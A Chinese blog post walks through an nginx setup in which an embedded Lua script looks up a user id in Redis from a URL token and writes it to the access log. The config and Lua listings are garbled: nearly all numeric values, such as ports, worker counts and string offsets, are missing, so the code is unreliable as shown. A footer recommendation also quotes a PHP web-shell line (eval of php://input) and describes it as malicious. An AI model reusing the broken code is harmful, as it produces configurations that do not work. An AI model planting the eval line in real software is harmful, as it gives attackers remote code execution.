目标:收集用户日志

流程:

  • 浏览器端get方法将数据传到nginx服务
  • nginx收集到数据,执行内嵌lua脚本,访问redis,根据token获得用户id
  • 将日志信息存入文件

1、nginx安装,参见:http://www.cnblogs.com/unreal/articles/7739290.html

2、安装lua_nginx_module 模块

(略,自行百度)

3、编辑nginx.conf配置文件

[root@master1 conf]# cat /usr/local/nginx/conf/nginx.conf
worker_processes ;
error_log logs/error.log;
pid logs/nginx.pid; events {
worker_connections ;
} http {
include mime.types;
default_type application/octet-stream; log_format log_format '$remote_addr^A$msec^A$http_host^A$request_uri';
log_format log_token '$uid_by_token^A$remote_addr^A$msec^A$http_host^A$request_uri'; sendfile on;
#tcp_nopush on; #keepalive_timeout ;
keepalive_timeout ;
lua_package_path "/usr/local/nginx/lua/lua-resty-redis/lib/?.lua;;";
server {
listen ;
server_name master1 0.0.0.0; location /log {
allow 192.168.8.0/;
deny all;
default_type 'text/html';
access_log logs/access.log log_format;
content_by_lua '
ngx.say("success")
';
} location /do {
#lua_code_cache off;
set $uid_by_token '';
default_type 'text/html';
rewrite_by_lua_file "conf/do.lua";
access_log logs/access.log log_token;
}
}
}

4、编写do.lua文件

[root@master1 ~]# vim /usr/local/nginx/conf/do.lua

--redis ip port pwd
local ip = '192.168.0.8'
local port =
local pwd = ""
local key_prefix = "Project:SsoToken:"
------------------ function get_uid(uinfo)
local uid = ''
if uinfo ~= ngx.null then
local pos, _ = string.find(uinfo, '"Id":')
if pos and pos> then
local left = string.sub(uinfo, pos, -)
local end_pos, _ = string.find(left, ",")
local line
if end_pos and end_pos> then
line = string.sub(left, , end_pos)
else
end_pos, _ = string.find(left, "}")
if end_pos and end_pos> then
line = string.sub(left, , end_pos)
end
end
line = string.sub(line, , -)
uid = string.gsub(line, "^%s*(.-)%s*$", "%1")
end
end
return uid
end local function close_redis(redis_instance)
if not redis_instance then
return
end
local ok,err = redis_instance:close();
end local token = ngx.var.arg_t
local redis = require("resty.redis");
local redis_instance = redis:new();
redis_instance:set_timeout()
local ok,err = redis_instance:connect(ip,port)
if not ok then
return close_redis(redis_instance);
end local auth,err = redis_instance:auth(pwd);
local uinfo, err = redis_instance:get(key_prefix .. token)
if not uinfo then
return close_redis(redis_instance)
end
close_redis(redis_instance) ngx.var.uid_by_token = get_uid(uinfo)
ngx.say('done')

5、测试

浏览器访问输入访问地址:http://master1/do?t=99b61873a98742a3a29a4a6d64bc043f&en=pv&ct=1521163377&ver=1&pl=pc

服务器查看日志:

[root@master1 nginx]# tail -f logs/access.log
^A192.168.8.^A1521181427.^Amaster1^A/do?t=99b61873a98742a3a29a4a6d64bc043f&en=pv&ct=&ver=&pl=pc
^A192.168.8.^A1521181462.^Amaster1^A/do?t=99b61873a98742a3a29a4a6d64bc043f&en=pv&ct=&ver=&pl=pc
^A192.168.8.^A1521187161.^Amaster1^A/do?t=99b61873a98742a3a29a4a6d64bc043f&en=pv&ct=&ver=&pl=pc

nginx插入lua脚本访问redis的更多相关文章

  1. 运维实践-最新Nginx二进制构建编译lua-nginx-module动态链接Lua脚本访问Redis数据库读取静态资源隐式展现

    关注「WeiyiGeek」公众号 设为「特别关注」每天带你玩转网络安全运维.应用开发.物联网IOT学习! 希望各位看友[关注.点赞.评论.收藏.投币],助力每一个梦想. 本章目录 目录 0x0n 前言 ...

  2. Lua脚本在redis分布式锁场景的运用

    目录 锁和分布式锁 锁是什么? 为什么需要锁? Java中的锁 分布式锁 redis 如何实现加锁 锁超时 retry redis 如何释放锁 不该释放的锁 通过Lua脚本实现锁释放 用redis做分 ...

  3. Lua脚本在Redis事务中的应用实践

    使用过Redis事务的应该清楚,Redis事务实现是通过打包多条命令,单独的隔离操作,事务中的所有命令都会按顺序地执行.事务在执行的过程中,不会被其他客户端发送来的命令请求所打断.事务中的命令要么全部 ...

  4. Redis进阶之使用Lua脚本自定义Redis命令

    [本文版权归微信公众号"代码艺术"(ID:onblog)所有,若是转载请务必保留本段原创声明,违者必究.若是文章有不足之处,欢迎关注微信公众号私信与我进行交流!] 1.在Redis ...

  5. c#中用lua脚本执行redis命令

    直接贴出代码,实现执行lua脚本的方法,用到的第三方类库是 StackExchange.Redis(nuget上有) 注:下面的代码是简化后的,实际使用要修改, using System; using ...

  6. 使用Lua 脚本实现redis 分布式锁,报错:ERR Error running script (call to f_8ea1e266485534d17ddba5af05c1b61273c30467): @user_script:10: @user_script: 10: Lua redis() command arguments must be strings or integers .

    在使用SpringBoot开发时,使用RedisTemplate执行 redisTemplate.execute(lockScript, redisList); 发现报错: ERR Error run ...

  7. 使用nginx+lua脚本读写redis缓存

    配置 新建spring boot项目增加redis配置 <dependency> <groupId>org.springframework.boot</groupId&g ...

  8. 在redis中使用lua脚本

    在实际工作过程中,可以使用lua脚本来解决一些需要保证原子性的问题,而且lua脚本可以缓存在redis服务器上,势必会增加性能. 不过lua也会有很多限制,在使用的时候要注意. 在Redis中执行Lu ...

  9. 高并发 Nginx+Lua OpenResty系列(5)——Lua开发库Redis

    Redis客户端 lua-resty-redis是为基于cosocket API的ngx_lua提供的Lua redis客户端,通过它可以完成Redis的操作.默认安装OpenResty时已经自带了该 ...

随机推荐

  1. 发现一个新的注入 代码 eval

    下面这句代码,就是一段恶意的代码,通过form POST 提交数据即可生成脚本文件. eval('?>' . file_get_contents('php://input'));

  2. 2018-2019-2 20165215《网络对抗技术》Exp4 恶意代码分析

    目录 实践目标 实践内容 基础问题回答 实验步骤 使用schtasks指令监控系统 使用sysmon工具监控系统 使用VirusTotal分析恶意软件 使用PEiD进行外壳检测 使用PE explor ...

  3. 安装percona-toolkit工具时遇到的问题

    1. 从这个链接https://www.percona.com/doc/percona-toolkit/3.0/index.html下载percona-toolkit安装包 2. 下载完成通过ftp工 ...

  4. redis 在 php 中的应用(Set篇)

    本文为我阅读了 redis参考手册 之后编写,注意 php_redis 和 redis-cli 的区别(主要是返回值类型和参数用法) Redis的 Set 是 string 类型的无序集合.集合成员是 ...

  5. C# 反射 Type.GetType()

    对于外部调用的动态库应用反射时要用到Assembly.LoadFile(),然后才是获取类型.执行方法等;当用反射创建当前程序集中对象实例或执行某个类下静态方法时只需通过Type.GetType(&q ...

  6. 【题解】Luogu P4097 [HEOI2013]Segment

    原题传送门 这珂以说是李超线段树的模板题 按着题意写就行了,时间复杂度为\(O(n\log^2n)\) #include <bits/stdc++.h> #define N 40005 # ...

  7. 启动Weblogic问题集锦

    报错1:Could not obtain the localhost address. The most likely cause is an error in the network configu ...

  8. 基于卷积神经网络CNN的电影推荐系统

    本项目使用文本卷积神经网络,并使用MovieLens数据集完成电影推荐的任务. 推荐系统在日常的网络应用中无处不在,比如网上购物.网上买书.新闻app.社交网络.音乐网站.电影网站等等等等,有人的地方 ...

  9. 恢复git reset --hard之前尚未push的commit提交

    1.在.git/logs/refs/heads/下有所有分支的操作记录及commit号,可以找到commit提交所在那个分支名称: 2.搜索commit提交的标题,就可以看到相应的记录,包括id号: ...

  10. Lintcode470-Tweaked Identical Binary Tree-Easy

    470. Tweaked Identical Binary Tree Check two given binary trees are identical or not. Assuming any n ...